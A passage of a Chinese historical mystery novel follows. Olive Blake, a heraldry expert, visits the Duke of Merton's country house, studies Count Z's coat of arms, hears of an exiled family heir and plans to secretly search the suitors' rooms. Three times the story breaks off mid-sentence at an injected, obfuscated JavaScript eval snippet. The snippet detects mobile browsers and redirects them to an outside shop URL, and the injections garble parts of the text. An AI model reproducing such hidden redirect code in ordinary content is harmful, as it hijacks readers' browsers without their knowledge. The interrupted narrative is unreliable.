他不再说话,奥丽芙也不需要听,纹章能够用无声的言语说出许多。镶在银质烟盒上的盾形纹章,已经在她眼前了:底色为蓝色,上面绘着银色的星星,星星共有十九颗,一个鲜亮的金色Z字,像一道闪电,倾斜地将整个盾牌分成四部分。整个图案简洁、有力、雄浑、优雅,绝非那种苦心构思,力求全面,最终效果却死板板的东西。看着这枚族徽,甚至可以感觉到一代又一代的Zachariasen继承人在面对着它时,从心底涌起的对家族的自豪。 可这些并非令奥丽芙呆呆站着不动的原因。她想起来了,为什么初次听到Zachariasen这个姓会联想到童话:在她小时候,她的父亲对她讲过Zachariasen家族的故事! 那是一个有五百年历史的古老家族,居住在城堡中,站在城堡的塔楼上,可以眺望到海天相接的地方。后来,在三十年战争中,城堡毁掉了,但Zachariasen家族并没有被覆灭,伯爵封号代代相传,传到如今是第十九代,他们得到了一个金黄头发的小男孩做继承人。 起初,她以为父亲是在给她讲童话,后来知道不是,因为父亲的童话故事,主角总是一个或者聪明或者鲁莽或者爱整洁或者馋嘴的小女孩,而这个故事中没有小女孩,Zachariasen得到的是一个男继承人。于是,她明白了,这不是一个故事,Zachariasen家族真实存在。 当然,她不是一下子就回忆起了父亲的讲述,主要还是归功于这枚纹章。醒目的图案将她带回过去,带回坐在父亲膝头的日子。 父亲的笔记本上,千真万确画着这样一枚纹章,钢笔勾出线条,水粉上色。她已经记不清是先看到了图形,追问父亲,还是父亲先讲起这个故事,才将她抱到桌前,翻开笔记给她看。 等她长大一些,开始系统地学习纹章学知识时,她还多次翻到了画有这枚纹章的一页。那是在父亲早年的笔记上,后来,笔记越积越多,父亲嫌旅途中背着沉重,都寄去牛津,交由他的一位朋友保管。不过,用不着和笔记对照,奥丽芙百分百肯定,纹章图案完全一致。 父亲在任何事上都可能出错,唯独此事不可能——除非特意标识出问题所在,否则,画在他本子上的纹章,都是经过考据,确认无误的。 这么说,面前这位真的来自古老的丹麦贵族家庭,是Zachariasen家族第十九代继承人? 奥丽芙脸上的惊讶简直掩饰不住,Z伯爵看见,眼睛里流露出沾沾自喜的神情。 “我就知道你一准会喜欢。既然如你所说,纹章能体现精神,表达观念,那么——”他指了指烟盒,“这可以成为咱们友谊长青的基石吧?” 说完,好像怕奥丽芙错会了意思,不打算归还,Z伯爵飞快地从她手里拿走盒子:“这个不能给你,这是我的护身符,任何时候我都把它带在身上。我可以另外送你一件带徽章的小东西。” 奥丽芙这才回过神:“谢谢。的确漂亮,不过我只要欣赏一下就行了,我不需要你的东西。” “作为我们友谊正式开始的见证收下,也不行?” 奥丽芙突然想到,他好像是用这种方式对舞会上的事道歉。 奥丽芙看他一眼,看到了他眼睛中半期待半戏谑的笑意。她庄重地说:“如果有一天,我们建立了友谊,那肯定不是因为你的伯爵称号。” Z伯爵绽开一个大大的笑容:“我知道。我希望,有一天,你也能认可我的品格。” . 一点前,所有客人都到齐了,略微收拾一下,大家聚齐在花园。 餐桌摆在一棵椴树下,午饭的形式虽然简单,种类上却很丰富,有冷鸡肉、冷牛舌、腌小黄瓜、三明治、法式蒜香面包、煎鱼、土豆沙拉和水果沙拉……葡萄酒带着樱桃和香草的味道,而新鲜的草莓尤其令人赞不绝口,不断有人自告奋勇去一百英尺外的草莓圃采草莓,带回来分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922037|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给大家吃。 吃饱喝足后,众人纷纷站起身,向远处眺望。这时候,尽管日头还高,但有阵阵清风吹拂,只令人感到凉爽,没人愿意再回到沉闷的室内。于是,一致决定,先参观花园,以及附近的温室、马厩、草地、灌木林,从户外回来后,进晚餐前,再参观大宅的各间屋子。 默顿公爵夫人极其和气,但她是个身体柔弱、精力不济的女人,不太喜欢长时间散步,在小默顿建议下,她回房去休息,留一双儿女陪伴客人。 起初,八个人走在一起,但园中小路太窄,难免有需要分开的时候,不一会儿,便成了小默顿、伊迪丝和奥丽芙在一处,公爵小姐则与露易莎·凯里及三位先生跟在后面。 小默顿兴致勃勃为两位小姐介绍花圃中的各种花卉。奥丽芙觉得,假若只让她自己看,没人在旁边喋喋不休,她对这些花会喜爱得多。 走着走着,不知怎的,埃莉诺走到了她哥哥身边,而范德梅尔又上前,和奥丽芙并排而行。 他挑个空挡,悄声说:“小默顿看不出库珀小姐对他只是敷衍。因为在别人家做客,理所应当要对主人尊重,要不然,库珀小姐一刻也忍受不了他。” 奥丽芙心底深处知道,范德梅尔或许是对的,要是身边只有小默顿,和他呆一整天,伊迪丝会闷死。不过,伊迪丝富有教养,而从范德梅尔的言行,则完全看不出客人对主人“理所应当”的尊重。奥丽芙没说什么,但范德梅尔只需要有一位女士肯倾听就行,当他发现别人不注意时,便小声评论几句。 他对所看到的一切都能挑出毛病,说:“这栋宅子是新盖的,根本不值什么钱。这块地皮也不好,公爵肯定是图便宜买下的。”一会儿又说道路不平整,一会儿又说马厩里没有安装最新式的设备,面积也小得可怜,客人带来的马匹几乎挤不下。总之,默顿公爵虽然有一座庄园,但规模太小,设施太差,几乎一无是处,甚至远不如某些富裕的乡绅家体面。 奥丽芙也观察过公爵家的部分情况,她发现,宅邸内仆人的数目似乎刚好维持在所需的最低水平。 她确实听说过,默顿公爵来伦敦,一方面是为了在上议院任职,另一方面也是因为不堪古宅修葺维护的重负,才在伦敦郊外重新购置了较小的庄园,从英格兰东北部的约克郡举家搬迁过来。 不过,公爵的境况还算是不错了。奥丽芙猜测,范德梅尔和Z伯爵,不管他们的祖辈曾经拥有多少封地,到了他们这一代,已经失去了其中大部分,剩下的收入只够维持日常开销,养几个仆人、几辆马车什么的。 谁也没资格瞧不起谁,范德梅尔和别人一样,想要娶一位富可敌国的先生的独生女,并且绝不敢摸着胸口说自己不存有私心:至少有部分目的是为了一劳永逸地消除经济缘故引起的不便和尴尬。 范德梅尔显然以为自己最有资格,他瞅着小默顿和伊迪丝的背影,不屑地说:“据我看,公爵入不敷出已经有段时间了,这不,他急着想从其它地方捞一笔。不过,哪有那么容易?” 奥丽芙从后面欣赏伊迪丝的风姿:她身段苗条、步履轻盈。旁边的小默顿虽然个高,但可能由于身体比例欠缺协调,瞧着有点别扭,两人的确不怎么相配。可是,换一位外形上更具优势的,就一定配得上她吗? 正好,四位“准求婚人”都在这儿,奥丽芙逐一思索他们求婚成功的可能性。 查尔斯·默顿,在四人之中,他的家族算是最显赫的,尽管在经济方面恐怕存在困难,但如今许多世家贵族都是虚有其表,而库珀先生不在乎这点,他只重出身,不看钱财。奥丽芙觉得,库珀先生好像更喜欢小默顿,毕竟,他是未来的英国公爵,名头比其他几位要更响。不过,小默顿有一个不利的因素:伊迪丝对他毫无兴趣。他的高贵身份没法掩盖他举止笨拙、言谈乏味的毛病。 休伯特·德·雷斯托,爵位是祖上“自封”的,不过,那是他祖辈、非他本人的过错,他看上去倒挺诚实。只是,伊迪丝对他……大概也谈不上多么喜欢, Z伯爵,刚刚才知道,他的身世竟然没有问题。伊迪丝喜欢他吗?Z伯爵似乎有点太自行其是了,不是那种鞍前马后献殷勤的青年。 而那个愿意鞍前马后的人呢?奥丽芙瞥一眼范德梅尔自鸣得意的面容,暗地里摇了摇头。 伊迪丝美丽、善良、优雅、活泼,即使没有财产,也值得优秀青年的爱慕。正因此,那些虚情假意的家伙才尤为可恨。奥丽芙下定决心,要把库珀先生交代的任务看得和揪出杀父凶手几乎同等重要:她一定帮助伊迪丝找到一个真心实意的未婚夫。 15. 肖像人物 一两个钟头后,大家把宅邸周围一圈都转过了。这一片所在地势较低,东面不远处有道斜坡,坡上据主人介绍是块平整的草地,修了板球场,另外还有些可看的景色,但时间已经不早,一行人决定返回公馆,到达时,公爵夫人刚刚休息好,便领客人参观屋子。 这栋房屋是二十年前才建成的,但公爵一家搬来了不少将近一百岁的家具和陈设品,因此奥丽芙看得津津有味。三楼是主人的房间,二楼是为客人准备的卧室,他们主要在一楼参观,这里除了客厅、餐厅、晨间起居室,还有一间图书室。 或许叫藏书室更为合适。奥丽芙跟父亲去过几位学者的家拜访,没有哪个人的书籍文献有这间屋子里的一半多。各种精美的珍本善本在书架上整齐地排列,羊皮纸的手抄本单独置在小桌子上,上面罩着玻璃罩。 可能是书籍数目过于庞大,反而吓得人不敢进一步探究,大家赞赏了几句,纷纷转过身,去看另一面墙上挂着的肖像画。 “这些都是默顿家族的成员,查尔斯,你来给客人们介绍一下吧。”公爵夫人把这个既费嘴皮、又不一定能讨好的“苦差”丢给儿子。 小默顿毫不犹豫地接受了差事,向众人一一介绍他的曾祖母,他的伯公……而那位画像当时还很年轻、面皮白净、穿着天鹅绒长袍的小姐则是他的姑祖母,于一年多前去世,肖像刚刚取下了黑纱。 在这副像前,小默顿稍微停了停,这是为了顾及他妹妹,因为正是埃莉诺陪伴姑祖母多年,她对姑祖母的感情无疑很深厚。 客人们都礼貌地静默了几秒钟,随后,双脚却不由自己地向别处挪去,避免再听小默顿絮叨这些已经作古、谁也不感兴趣的人的生平。要是换个人讲,奥丽芙本来还愿意听听,可是小默顿缺少起伏变化的声调实在让她瞌睡,她也走开两步,自己去看画像了,只有伊迪丝一人走不脱,因为小默顿讲话时,主要是面对着她。 走到快尽头的地方,有一副最小的画,真正抓住了奥丽芙的眼睛。 画上是个二十来岁的青年,相貌十分英俊;与其他肖像人物的高傲、阴沉不同,他的模样带有一种清新之态。 奥丽芙停下脚步,仔细端详。 最引人注意的要数画中人眉宇间暗含的一股忧伤神情——他的忧郁并不消沉,更像是代表着不满和控诉,但与他的俊美外表和华丽衣着大不相称。画家似乎在表现庄严和表现真实间挣扎了一番,最终还是决定遵从真实,于是,落在画布上的并非一位出身名门的贵族公子,而是一个不得志的诗人。 转过头时,她看见小默顿和伊迪丝也走来了。 “他和别人不太像!”一看见画中人,伊迪丝轻声喊叫。 尽管伊迪丝是不由自主喊出心里话,但奥丽芙认为她还是顾到了礼貌,其实,她言下之意或许是默顿家族其他所有人都比不上这一位。奥丽芙自己也是同样想,并暗暗猜测这个人是谁。画像挂在这么角落的地方,光线不太好,不能从容貌的细微之处辨别他是不是“姑祖母”的小兄弟。 小默顿似乎没有领会伊迪丝的意思,他朝画像看了看,又向四周茫然、困惑地瞅了瞅,再次把目光投到画上。他可能以为伊迪丝终于对他的家族表示出了热情,脸上红了一片,结结巴巴说:“啊,那是因为画这幅像时,他……这幅肖像是很久之前画的。” 还没说出画中人究竟是谁,仆人推开绿呢大门,默顿公爵走了进来。 客人从小默顿口中已得知,按照习惯,公爵白天很少离开自己的书房,往往晚饭时才和家人见面,因此,这时看见公爵出现,大家并不奇怪,也不慌乱。 接下来便是正式介绍。默顿公爵声音洪亮、笑声爽朗、气度不凡,他先对伊迪丝和凯里小姐讲了几句客气话,然后,听公爵夫人说“布莱克小姐”,他立即礼貌而赞赏地看了看奥丽芙:“我非常荣幸,一下子邀请到伦敦最美的三位姑娘来家里做客。” 三位先生都和默顿公爵认识,免去了介绍,不过,以前可能只是泛泛见过面,而这次,作为对家里来客的欢迎,默顿公爵格外热情地与每个人寒暄了几句。 他对三人的态度一致,丝毫没有厚此薄彼。对德·雷斯托子爵说话时,他问候子爵母亲的身体,遗憾她未能同来,并表示,等她能够受得了旅途劳顿时,希望能过来住一段时间。 对Z伯爵,他说:“久仰令尊大名。若能看到你今日模样,令尊一定感到欣慰。南森女伯爵夸奖你在当代北欧青年中,是最出色的一位,我则回答她:‘不光北欧,整个欧洲亦是如此。’” 奥丽芙特意瞧了瞧,除了表示自谦,Z伯爵脸上神情没有变化。 对范德梅尔,默顿公爵说:“我这里有本皮特·范布莱德罗德传记,里面提到了你的先辈,当时,他们同在舰队中。” 奥丽芙知道默顿公爵所指:十六世纪初,荷兰是西班牙帝国的一部分,威廉·范·奥兰治不满西班牙国王腓力二世的高压政策,联合各省贵族,建军起义,经过“八十年战争”,终于推翻了西班牙的统治。 独立战争中,莱顿城被西班牙军队围困,起义军在威廉·范·奥兰治领导下,掘开堤坝,引海水淹没陆地,使起义军的舰队能够航行到莱顿城下,赶走西班牙人,解救被困的市民。当时,范德梅尔的祖先马塞尔·范德梅尔伯爵正在一艘舰船上任指挥。 范德梅尔听见公爵的话,只是笑了笑,没说什么,默顿公爵却向书架走去:“我记得是放在这里。我对德语懂一些,荷兰语几乎完全不会,所以我只能连蒙带猜地看看,但我觉得这本回忆录写得很好,我想将它翻译成英语,或许将来我可以请你帮忙。” 说着,默顿公爵抽出一本摩洛哥山羊皮的古书,翻开来:“就是它。这本书出版于十七世纪,是皮特·范布莱德罗德的后人根据保存的信件、家庭文件及其它文字内容整理而成,提到你先祖的部分,是在这儿,哦,不,围城战役还在后面,他是叫马……” “大概是讲马腾·范德梅尔在围城战役中的那些事吧。”范德梅尔说,口气随随便便。 默顿公爵一愣:“我记得是马塞尔·范德梅尔,莫非我记岔了?” “对,是马塞尔。是我记错了。”范德梅尔漫不经心笑着回答。 默顿公爵合上书本,郑重地向范德梅尔说:“我对这本书读得不细,如果真是我错了,我向你道歉。” 奥丽芙知道公爵没错,她倒是奇怪范德梅尔的浑不在意,不由朝他看了几眼。 这时,管家进来告知公爵夫人晚饭已经准备好,公爵夫人便请客人们回房更衣。 大家纷纷向外走时,Z伯爵落在后面,凑近奥丽芙,小声问:“到底是谁,小姐,我看出来了,你肯定知道。”不等回答,他又说,“我发现历史学得好就是有这个优势:对别人家的事比他们自己还清楚得多。”说完,他走到前面与别人说话去了。 奥丽芙看得出,Z伯爵不是想讨论史实,也不是想恭维她,不过是借机讽刺一下范德梅尔罢了。其实,这和历史学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922038|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习关系不大,她见过很多受过良好教育的人,抛掉书本后,对历史的掌握和不学无术的人差不多。但是,范德梅尔不该犯这个错误。 并不是记错了时间,有的人甚至会将自己的出生年份说错,也是可以原谅的,可范德梅尔年纪轻轻,脑子够用,却搞不准姓名。马塞尔·范德梅尔是他家族中最闻名于世的一位,后来,为了纪念这段光荣历史,范德梅尔家族将家族纹章中原有的五瓣花图案用一只海锚替换,海锚纹章一直沿用至今,足见整个家族对这位先辈的敬仰,怎么到了范德梅尔这儿,连人家的姓名都不关心?这人简直太吊儿郎当了。 威克菲尔德的晚膳通常定在五点半开始,待客的日子依然如此。五点半整,六位客人和主人一家共十人在长桌上坐好,默顿公爵先为招待过于简单表示道歉,又为自己没有更多空闲,怠慢了客人道歉。 他说,本来打算明天上午陪客人在庄园里走走,但刚刚,他接到来自伦敦的一封信。今年十一月,议会将讨论一项法案,他是起草人之一;最近的一些情况,使得发起人想要在预案中进行部分改动,需要召集相关人商讨一下。事情并非十分紧急,但他不愿让别人久等,因此还是决定,明天上午在书房处理几件公文,十点钟就出发前往伦敦。他特意嘱咐小默顿,不用为他送行,一定要陪客人再好好玩上半天。 年轻人自然对公爵的公务漠不关心,对他是不是在家也不太在意,除非认为没他陪着更好,不过,大家都说了几句客套话。奥丽芙暗自里或许还比别人更高兴:如果宅子里的仆人忙着为公爵出行做准备,就不大可能在二楼客房转悠,她便可以…… 说不清计划是什么时候来到心中,但听完默顿公爵的话,奥丽芙已经决定付诸实施——她要在明天早上,飞快地把子爵和两位伯爵的房间“搜查”一遍。 这也是没有办法的事。凭借社交场上或有意或无心的对话,能看出他们的性格特点,却很难看透他们的内心。父亲遇害都快四个月了,真凶还无从寻觅,只好走走“捷径”,看他们的私人物品会不会暴露出什么,比如另一件绘有蜜蜂图案的东西…… 正好,公爵夫妇为每个客人都准备了单独的屋子,可能为了客人随时回房间,进出方便,房门并不上锁,只能从内部闩上。而明日上午,伊迪丝肯定会选择户外活动,男士们肯定都会跟着去,假如仆人不在二楼收拾,便意味着,有相当一段时间,那几间屋子空无一人。——奥丽芙打算明天上午先和他们一起外出,再找个借口回来。 当然,她心里知道,真能找到关键证据的希望很渺茫,只是碰碰运气,但无论如何,碰运气的机会可能也只此一次。几个人聚在一处,能够进入他们的房间——这样的“天时地利”很难再有第二回,不容错过。 飞速打定主意,奥丽芙便不再多想了,专心听桌上闲聊。 这顿晚餐和颇具乡村风味的午餐相比,显得较为平常,但餐桌上的气氛与奥丽芙设想中的平淡拘谨大为不同——尽管在图书室的会面已部分纠正了她对默顿公爵的认识,但公爵比她想象中还要健谈、风趣得多。 他说起把书籍、家具等物品从约克郡由火车运来,打包装箱所费的工夫和一路照看的辛劳,叹口气道:“终究还是值得的,因为都是宝贵的纪念品。特别是那些肖像画,一幅都没丢。——我留意到,刚才你们已经看过了画像,我打断你们时,你们好像正在谈论一个人,就是那位相貌很英俊的年轻人。” 饭桌另一头,公爵夫人咳嗽了一声。 16. 家族秘辛 奥丽芙始终记得,库珀先生付给她的报酬是五千英镑,她的调查报告须得有五千镑的份量。家族“秘辛”也是调查的一部分,她绝不愿放过眼下这个大好的探听机会。面对女主人的暗示,其他人碍于礼节,不好再就这个话题多说,但自己无所谓。奥丽芙假装没听见咳嗽,很感兴趣地问:“当时我正想请教默顿勋爵,那位年轻人是谁?” “他是我的堂兄,查尔斯·默顿,我儿子用了他的教名。”默顿公爵说。 他没有使用过去式,这就是说堂兄尚在人世,可是他脸上却是一副肃穆、伤心的表情。 默顿公爵进而解释道:“画这幅像时,查尔斯堂兄二十六岁,就在那一年,他离开了英国,后来,家人再没有得到他的消息。其实,我们并不知晓他是否还在人世。当然,若他还活着,也是位七十岁的老人了。我希望他有儿孙,他们在某处过着自在、如意的生活。”公爵叹了口气,“本来,现任公爵应该是查尔斯堂兄,或是他的儿子。” “他去了哪里,为什么会和家人断了联系?”奥丽芙问。 “他受人怂恿,卷入了一场轻率的决斗。在决斗中,查尔斯堂兄杀死了另一个年轻人,只好逃离英国。据说,最后一次看到他是在港口,他出了海,大概是去了南美。 “先伯父只有这一个儿子,先伯父去世之时,查尔斯堂兄依然没有消息——因此,公爵爵位便由先伯父唯一的兄弟,也就是先父继承。先父只比查尔斯堂兄大两岁,和先伯父年岁相差很多,他们虽是兄弟,却又如父子一般。先父一直爱戴并敬仰他的长兄,侄儿离家和长兄离世对先父打击很大,严重损坏了他的身体和精神,以至于他正当壮年时,却抱憾早逝。” 奥丽芙只听说默顿公爵的父亲作为次子继承了爵位,却不知还有这样一段内情。一位继承人在决斗中杀人潜逃,这确实算是家族中的一个“污点”,可能因此,公爵一家不愿向人提及。 不过,客人们谁也没有显露鄙薄,恰恰相反,每个人脸上都有一丝难以抑制的激动,伊迪丝的眼睛里更是闪出了崇拜之情。 当奥丽芙对公爵说:“从画像上看,令堂兄为人正直,尽管可能是逞一时之气,但他决心由自己为自己的冲动付出代价,而绝不肯家人受牵连,故此避而不联系。他在外国安定下来后,一定能生活得很好。”她发现,好几位年轻人都露出同意的神情,似乎在暗暗点头。 默顿公爵大笑道:“若你这么说,我相信事实肯定是如此,那可太好了。说起来,要是查尔斯堂兄真娶了一位外国姑娘,也不稀奇,毕竟,他可能是家族中最‘离经叛道’的两个人之一。” 听了这话,小默顿的表情很不自在,慌慌张张看了一眼父亲,好像要朝他使眼色,却又不敢。 默顿公爵笑着说:“你父亲可不是老古板,我知道,年轻人愿意听听这样的故事。”他虽是指所有年轻人,但眼睛只朝伊迪丝和奥丽芙看了看。接着,他便开始了讲述。 “大约一百年前,默顿家的一位小姐,认识了一位来英国旅行的挪威青年,至于这人姓甚名谁,我们皆不知晓,只知道他可能是维京人的后裔,因为敝祖上,也就是这位小姐的父亲,正是因此理由反对女儿和挪威青年的婚事——默顿家族的祖先曾在维京海盗的骚扰中大吃苦头,敝祖上认为,默顿家族和那位挪威青年的家族可算作世仇,断不可缔结婚姻。” “唉,我们现在回想一百多年前,已经非常非常久远的事了,”默顿公爵沉重地叹了口气,“而英国人受维京人欺侮,更加久远,快要过去一千年了。人生在世,多不过百年,让千年前的旧事影响眼前的百年,我实在无法苟同。 “但不管怎样,敝祖上下了那样的命令,他的女儿原该听从,谁知,那位小姐一意孤行,抛下父母家人,与那青年一道,悄悄离开了英国。 “敝祖上因此事不光彩,将女儿从家谱中除名,禁止别人再提,不久后,他离世而去,死前对其他子女留下遗言:今后,凡默顿家族的子孙,无论男女,只可在英国人中选择配偶,不可与外国人通婚。自此,这条规矩便在家族内代代流传下来。虽然旁人未必知晓,但至少到我这一代,除了查尔斯堂兄情况未明,其他所有人都默默遵从了这一规矩。” 默顿公爵停了下来,无人接话,满室被一阵尴尬的沉默笼罩着。 默顿公爵又开口道:“我并非要对先祖不敬,但时代在变化,陈规旧套该终结了,我们有义务让它终结。”他面向儿子说,“查尔斯,从你出生那天,我就已经想过,绝不让先祖的遗训成为你的约束。当你挑选未来的妻子时,我希望你更多考虑对方的人品,而非国籍,我相信你能做出明智的选择。” 好一时,小默顿没想出如何回答父亲,脸面憋得通红,最后,他点了点头。 奥丽芙明白,默顿公爵此番决定,并非完全由于他思想开明,对子女关爱理解,肯定有相当部分是来自经济方面的考量:如果拥有像他祖上一样多的土地,那么,他或许会有同样的傲慢,定要在本土寻找一位出身高贵、妆奁丰厚的姑娘,令自家财富不断壮大,使默顿这个姓氏在美丽的英格兰延绵不绝,将家族的荣光无限传承下去。 或者换个角度:假如那位外国姑娘缺少财产,那么,即使她人品再优秀,默顿公爵还能这么通达,这么爽快吗? 但无论如何,他讲这番话时情深意切,令人敬重。伊迪丝显然深有感触,刚才,奥丽芙偷偷向她看了一眼,发现她眼睛里带着动容的神色。 不过,默顿公爵恰好选在这个场合发表见解,显然意有所指。伊迪丝正好落在默顿公爵“鼓励”儿子择偶的范围内,不管是社会礼俗还是姑娘的自尊心,都禁止她做出任何表示。而奥丽芙作为她的朋友,更不能把任何注意引到她身上。 伊迪丝倒还好,见惯了各种场面,并不容易羞怯。餐桌上另有一位姑娘要比她难挨得多——埃莉诺虽然没被父亲指名道姓,但公爵的意思显然会对儿女一视同仁,年轻姑娘听到那样的话,又是当着好几位“外国先生”的面,怎么不害羞?她浑身颤抖,俨然到了晕厥边缘。 桌上其他人,出于体贴、礼貌、避嫌,都不好乱看乱说,也就没人解围。这时,全桌的年轻人皆低着眼睛,盯视着面前的桌布,仿佛被其精致和考究吸引住了。 好在,下一道菜终于端了上来。公爵夫人客气地请大家尝尝蓝莓布丁,默顿公爵开始大谈今年的莓果收成,谈话重新转到轻松、自在的方向。 饭后,女士们退到客厅,等待稍后与男士会合,而先生们则留在餐厅,继续享受一会儿雪茄和美酒。 公爵夫人没有多少话好说,靠在沙发一角做针线。年轻姑娘们随意地聊天,向默顿小姐介绍她们通常的娱乐活动。 伊迪丝说:“等你再去城里,请一定去找我玩。我们有个小团体,没有正式名称,也没有活动纲领,不过是大家时不时凑在一起,或者朗诵诗歌,或者举办小小的音乐会。你喜欢音乐吗,我们有几个人——Z伯爵和范德梅尔伯爵小提琴都拉得很好。真的,你一定要参加,你哥哥常去。” 埃莉诺眼睛中露出向往:“可惜我不擅长音乐,不过我很喜欢听。诗歌朗诵我也喜欢,以前,我经常给姑祖母读诗。” 伊迪丝这时却有点意兴阑珊了,大概是想起了小默顿。不管是独唱、二重唱、还是弹奏乐器,小默顿都不擅长,有一次他朗诵,伊迪丝差点当面打了哈欠。 她转头对奥丽芙和凯里小姐说:“我看咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看到公爵心情这么好,小默顿大着胆子提出自己的见解:“不,父亲,布莱克小姐已经挑好了最适合她的角色。《仲夏夜之梦》或《皆大欢喜》可以由凯里小姐、库珀小姐和埃莉诺出演,就看库珀小姐愿意扮演黑美霞还是罗瑟琳?”说完,他的脸又红了。 范德梅尔插道:“你真不该这么说,现在,我再也没法去戏院看这两出戏了。因为我想不出黑美霞和罗瑟琳还能是谁,除了库珀小姐。” Z伯爵补充:“还得加上《威尼斯商人》,鲍西亚只能是布莱克小姐。” 默顿公爵哈哈笑了一阵:“从我刚才听到的几句念白,我认为,布莱克小姐很有几分戏剧天赋。” 奥丽芙可以感觉出,默顿公爵这话并非全然是客套,他对她确实有几分欣赏。在一群伯爵、子爵中间,“布莱克小姐”是微不足道的,既没有头衔,也没有财产,但公爵并不看轻她,不管这是不是由于她是伊迪丝的朋友,奥丽芙还是感到挺高兴。 “我很愿意扮演夏洛克,你们能演谁?”默顿公爵又问几位男士。大家都表示没有那方面的才能,于是,公爵抱歉地向伊迪丝说,“我知道大家都谦虚了,不过,即使每个人都算上,我们依然缺很多演员,不然,咱们真的可以马上来一场即兴演出。乡下娱乐活动不多,要是不能自娱自乐,还能怎么办呢?我非常遗憾,没法子给几位小姐添点乐趣。” 伊迪丝忙答:“不管干什么我都觉得有趣,哪怕是聊聊天。” 默顿公爵说:“本来,我们应该办一场舞会,可我想来想去,这附近没有几户体面人家,值得一请的邻居都住得有点远,便放弃了这个念头。让我看看,咱们已经有了四对舞伴,啊,再加上我和公爵夫人,就是五对。不过,这时候要找一位能拉小提琴的人可不太容易。” “若公爵阁下愿意跳舞,我能拉几支曲子。”Z伯爵边说,边向周围的人扫视一眼,发现公爵夫人似乎不大热情,立即改口道,“今天已经散了挺久的步,大伙腿都累了,要么还是打打牌吧。” 建议被采纳了。出于私心,奥丽芙也不希望今天晚上大家玩闹得太兴奋,半夜才睡觉,明日都起不来床。看见摆起牌桌,她感到很满意。 17. 花花公子 这个夜晚具有乡村之夜该有的全部宁静,这种宁静却加深了奥丽芙的内疚:在别人家里“做贼”,尽管有正义、过硬的理由,她还是不禁感到惭愧。 她安慰自己,搜索范围只限于三间客房,绝不涉及府邸其它房间。一方面原因是,潜入主人的屋子,难度太大风险太大;另一方面,小默顿有不在场证明,在四人中“嫌疑”最轻,犯不着大肆翻找他的家。 本来还该担心明天能否成功,但一小会儿工夫奥丽芙便睡着了,而且睡得很香。 默顿家对早饭的钟点没有严格规定,早餐准备好后,放入架在炉上的大暖锅中保温,不管客人还是主人,起床后,都可以悠悠闲闲地下楼用早点。 奥丽芙在餐厅碰上了默顿兄妹和德·雷斯托子爵。她不愿显出任何异样,实际上,她的胃口的确好。因此,不顾几人略带惊异的目光,奥丽芙只管往盘子里盛了满满的煎蛋饼、火腿、西红柿,又在主人的殷勤劝说下,向咖啡杯中加了两大勺鲜奶油。 吃完,四人一起来到室外,范德梅尔和伊迪丝及凯里小姐正等着,只差Z伯爵一人未下楼。一群人在花园中转了二十分钟,Z伯爵依然不现身。 范德梅尔说:“咱们先慢慢走吧,等他下来,仆人会告诉他去哪个方向找我们。”小默顿坚持不能落下一个人,也不肯贸然催促客人,说服大家一起再等二十分钟,之后再按范德梅尔的方法办。 奥丽芙有些烦躁,难不成因为那个懒散透顶的家伙要一觉睡到中午,她就得放弃她的计划? 或许他睡得很死,只要她小心不弄出动静,仍可以检查另外两个人的房间,可难处在于,她不知道他们三个人哪个住哪一间。 Z伯爵终于出现了。 他穿戴得很整齐,却没戴帽子,而是将常礼帽拿在手里。走近他们时,他将手抬到头上,不知是要致意,还是梳理头发,因为正在这时,一阵风将他的头发吹乱了。他毫不在意地用手拨了拨,若无其事跟大家打招呼,全然没意识到别人已等了他好久。 再没有什么可耽搁了,八个人立即向东面的高坡走去。 这次,道路足够宽敞,但不知是什么奇怪的力量介入,众人又分成几堆列队行走,并且彼此间距离渐渐拉开:小默顿独个儿走在最前面,时不时停下来等伊迪丝和露易莎,但等到后,他立即转身快步向前;Z伯爵和埃莉诺是中间的一拨,德·雷斯托若即若离地跟着二人;奥丽芙为了给提前离开做铺垫,有意装作兴致不高,落在最后,但她发现,范德梅尔又凑到了她旁边。 范德梅尔故意笑出声,以表示他的话全是反讽:“我想,我该给小默顿道个歉,先前我以为他们一家都是循规蹈矩、人云亦云的人。没想到,公爵脑袋里倒有点想法。可惜小默顿不太像他父亲,他和公爵小姐像他们的母亲,做什么事都慢吞吞的,你根本不要指望能从他嘴里掏一句痛快话;公爵却行事果决,雷厉风行。” 奥丽芙承认,默顿公爵的言辞和风度间确实有一种魅力,尽管他说话有点不顾场合,令子女尴尬。 “公爵一番用心良苦可没有白费,有人听进去了。”范德梅尔朝Z伯爵指指,“你也瞧见了,他昨晚讨好公爵和夫人的样子,又是拉提琴,又是打牌,他明知道库珀小姐不喜欢玩牌,咱们这些人都不喜欢。公爵夫人和小姐倒玩得高兴,因为她们赢了——那是Z伯爵放水。我听别人说,他牌技出色,认真打的话,没人赢得了他,说不准他就是用这种方法得几个钱花花,不过,昨天那种打着玩的小注他当然不在乎。” 奥丽芙有点纳闷,范德梅尔怎么突然变得格外刻薄。但她很快想到,范德梅尔言语审慎,都是有伊迪丝在场的时候,当着伊迪丝,他总得显出一副公正、大度的君子模样。而现在,他是希望通过她把这些贬低情敌的话说给伊迪丝听。 